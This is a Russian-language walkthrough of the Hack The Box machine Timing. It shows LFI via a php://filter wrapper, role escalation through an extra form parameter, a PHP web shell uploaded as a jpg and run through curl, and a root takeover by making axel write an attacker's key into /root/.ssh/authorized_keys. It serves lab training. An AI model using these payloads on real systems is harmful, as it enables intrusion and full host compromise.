В этой статье рассмотрим прохождение уязвимой машины Timing Hack The Box, в рамках которой будем взламывать веб-сервер на PHP. Для получения флага мы будем сканировать порты, эксплуатировать уязвимости LFI и загрузим шелл.
Еще по теме: Как взломать сайт WordPress
Лучше подключаться к машине HTB с помощью VPN. И желательно не делать это со своего личного компа, на котором хранится чувствительная информация.
Взлом веб-сервера на PHP
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.135 timing.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Для этого отлично подходит популярный сканер Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. Первый производит просто быстрое сканирование, второй — глубокое сканирование, используя имеющиеся скрипты (опция —A)
Сканер нашел два открытых порта:
- 80 — веб‑сервер Apache 2.4.29;
- 22 — служба OpenSSH 7.6p1.
На SSH нам ловить нечего, пропускаем его.
Брутфорс учеток
У нас пока нет учетных данных, поэтому нет смысла в анализе служб, которые как правило требуют авторизации (например, SSH). Единственное, что можно сделать на данном этапе — перебрать пароли брутом, но уязвимые машины с Hack The Boxt практически всегда имеют другие решения. В реальности таких вариантов может не быть, но можно всегда использовать социальную инженерию.
При попытке обращения к веб‑серверу происходит редирект на страницу /login.php и форму авторизации.
Исходя из этого можно предположить, что это не одностраничный сайт, поэтому будем пробовать отыскать скрытые страницы. Первая страница была в PHP, логично остальные перебирать тоже с расширением PHP. Я предпочитаю использовать для этой цели сканер ffuf.
Сканирование веба c ffuf
Первое действие при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов. Для этой цели вы можете использовать программы вроде DIRB и dirsearch.
Мне нравится легкий и очень быстрый ffuf. Параметры запуска:
- -w — словарь (лично я предпочитаю словари из SecLists);
- -fc — исключить из результата ответы с кодом 403;
- -u — URL;
- -t — количество потоков.
Запускаем ffuf с параметрами:
1 |
ffuf -u http://timing.htb/FUZZ -t 256 -w php_files_common.txt |
Сканер нашел множество файлов, теперь попробуем найти скрытые каталоги.
1 |
ffuf -u http://timing.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt |
Сканер находит каталоги использующиеся для хранения скриптов и изображений. И это все. Сканирование поддоменов и файлов резервных копий нечего не дало.
Попробуем поискать параметры. Для сканирования разумеется выбираем страницу image.php, которая по идее должна возвращать изображения. Так как мы пока не знаем, что именно будет передано в качестве значения параметра, попытается передать само название страницы, надеясь получить какую-то ошибку.
1 |
ffuf -u 'http://timing.htb/image.php?FUZZ=../image.php' -t 256 -w parameters.txt -fs 0 |
Мы нашли один параметр — img. И теперь можно запросить файл с картинкой по его названию. Попытаемся таким образом снять какой‑нибудь системный файл, задав относительный путь.
Попытка не удалась. Нас атаку обнаружили!
Видимо в данном конкретном случае используются какие‑то фильтры, которые не позволяют нам читать файлы. Я попробовал разные варианты оберток для параметра и понял, что срабатывает вот такой запрос:
1 2 |
/image.php?img=php://filter/convert.base64-encode/resource=index.php Справка: LFI в PHP |
Local file inclusion (LFI) — техника, которую используют для получения доступа к файлам в системе через веб‑сервер. Чтобы веб-сервер отобразил файл, вместо попытки выполнения, ему следует передать «обертку» — это команды, которые закодируют файл. После его получения нужно лишь раскодировать его обратно. Есть множество различных готовых оберток, которые вы можете использовать в пентесте.
Содержимое полученной в ответ страницы, будет закодировано в Base64. Можно декодировать прямо в Burp, нажав сочетание клавиш Ctrl-Shift-B.
Таким образом мы можем получить код всех страниц, просмотрим все страницы и среди них оисходный код страницы login.php.
Наше внимание привлекает строка 10 — подключение файла db_conn.php. Там нашлась учетная запись для подключения к БД. Отроем и его.
Пароль ни к чему не подходит, поэтому продолжаем копать.
Переходим к известным файлам. Начинаем с upload.php.
В начале подключается файл admin_auth_check.php. После задаются нужные параметры для загруженного файла, в том числе и file_name. Создание имени файла происходит по такому алгоритму: берется строка '$file_hash', после добавляется текущее время (результат выполнения функции time()) и все это конвертируется в хеш MD5, а затем добавляется знак нижнего подчеркивания и имя файла используемое при загрузке. Файл должен иметь расширение jpg. А в файле admin_auth_check.php только сравнивается роль пользователя.
Если бы $file_hash кто‑то по ошибке не обернул в кавычки, то было бы подставлено значение переменной, полученное от PHP-функции uniqid(). Разгадать уникальный идентификатор у нас бы не получилось, а без него единственной преградой будет вывод функции time().
Итак, здесь пока больше ничего не делать, и требуется брут формы авторизации. В начале найдем имена пользователей, к примеру в файле /etc/passwd.
Но при подборе пароля сразу попробуем использовать имя пользователя в качестве пароля, и это дает нам доступ.
Нам открывается новая функция — изменение профиля.
При отправке данных формы просмотрим, куда они шлются, а потом получим код этой страницы, чтобы просмотреть, как обрабатываются данные.
Видим, что в обработчике на один параметр больше, чем отправляется через форму. Значит, мы можем добавить role и задать любую роль. Это должно дать нам привилегированный контекст.
В итоге мы получаем ответ со всеми перечисленными параметрами, а на самой странице появляется ссылка на панель администратора.
С панели администратора нам открывается функция загрузки аватара.
Мы знаем, что это должен быть файл с расширением jpg. Но вот только его содержимое не проверяется, поэтому мы можем записать туда код на PHP и затем попробовать выполнить.
Запишем следующий простой PHP-шелл, выполняющий принятую команду, и загрузим файл на сервер.
1 |
echo '<!--?php echo system($_GET["cmd"]);?-->' > test.jpg |
Файл успешно загружен, теперь определимся с именем, под которым он сохранился на сервере. Для этого вспомним принцип, по которому он формируется.
Единственная переменная, которую нам осталось получить, — значение функции time(). Эта функция возвращает количество секунд, прошедших с 00:00:00 01.01.1970. И если мы знаем время загрузки файла, установленное на сервере, мы сможем получить это значение.
Так как вся работа выполняется через Burp, в истории запросов найдем HTTP-заголовок ответа сервера. В заголовке Date будет указано нужное нам время.
Теперь мы можем получить значение MD5 от сложения всех строк:
1 |
echo md5('$file_hash' . strtotime("Wed, 05 Jan 2022 13:19:51 GMT")); |
Нам нужно обращаться к файлу вот с таким именем:
1 |
e3879d6c6425db4ad6e139681d11693d_test.jpg |
Попробуем с помощью нашего хеша выполнить базовую команду id.
1 |
curl 'http://timing.htb/image.php?img=images/uploads/e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=id' |
Команда успешно выполнена, что означает получение доступа к хосту.
Для дальнейшего продвижения нам необходимо найти учетки. Для этого предстоит изучить файлы в каталоге веб‑сервера, всевозможные резервные копии и другие пользовательские файлы. Так находим бэкапы исходников в каталоге /opt.
Копируем архив в каталог веб‑сервера и легко скачиваем через браузер.
1 |
curl 'http://timing.htb/image.php?img=images/uploads/e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=cp+/opt/source-files-backup.zip+./' |
В архиве присутствует каталог с расширением git. Это позволит нам получить доступ к истории изменений файлов.
Для удобной работы с репозиториями Git можно использовать графический просмотрщик gitk. Он помог найти изменение пароля для подключения к базе данных.
А вот уже с этим паролем удается подключиться по SSH и забрать первый флаг.
Теперь проверяем наиболее вероятные места повышения привилегий: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты. Проверим sudoers командой sudo -l.
В настройках прописан привилегированный запуск /usr/bin/netutils без ввода пароля (NOPASSWD). Просмотрим тип файла.
Это обычный скрипт. Давайте глянем на его содержимое.
Это пользовательское приложение на Java. Но так как оно расположено в каталоге рута, мы не можем получить доступ к самому файлу и декомпилировать его, чтобы изучить. Тогда давайте хотя бы запустим программу и посмотрим, как она работает.
Нам предлагают выбрать одну из опций: FTP или HTTP. После чего с указанного ресурса загружается файл.
Посмотрим, что происходит с процессами в системе при выполнении этого приложения. Для отслеживания процессов будем использовать pspy64. Загрузим его на хост:
1 |
scp ./pspy64 aaron@timing.htb:/tmp/ |
И выполним. В выводе видим запуск скрипта, но, что более интересно, после указания адреса для загрузки используется программа axel в контексте пользователя с UID=0, а это пользователь root.
Я сразу попробовал выполнить инъекцию команды ОС, но это ничего не дало.
Однако мы можем конфигурировать axel и управлять некоторыми его параметрами, к примеру именем файла и каталогом для его сохранения.
Недолго размышляя, пробуем сохранить файл как публичный SSH-ключ пользователя root. Для этого в домашнем каталоге текущего пользователя сохраним файл .axelrc со следующим содержимым:
1 |
default_filename = /root/.ssh/authorized_keys |
На локальном хосте сгенерируем пару ключей (ssh-keygen) и переименуем публичный, чтобы он назывался index.html. Запустим простой веб‑сервер на Python:
1 |
python3 -m http.server 80 |
А затем обратимся к нему из тестируемого приложения.
Видим сообщение с именем сохраненного файла, пробуем подключиться с закрытым ключом и получаем контроль над хостом.
Мы получили флаг рута. Веб-сервер на PHP взломан.
Заключение
Сегодня мы с вами прошли путь от обычного сканирования сайта до эксплуатации уязвимости типа LFI и загрузки шелла. Надеюсь вам понравился увлекательное задание Timing с площадки Hack The Box.
Полезные ссылки:
- Взлом сайта на Django
- Взлом nginx с помощью уязвимости в скрипте
- Взлом веб-сервера на Windows и Apache через SSRF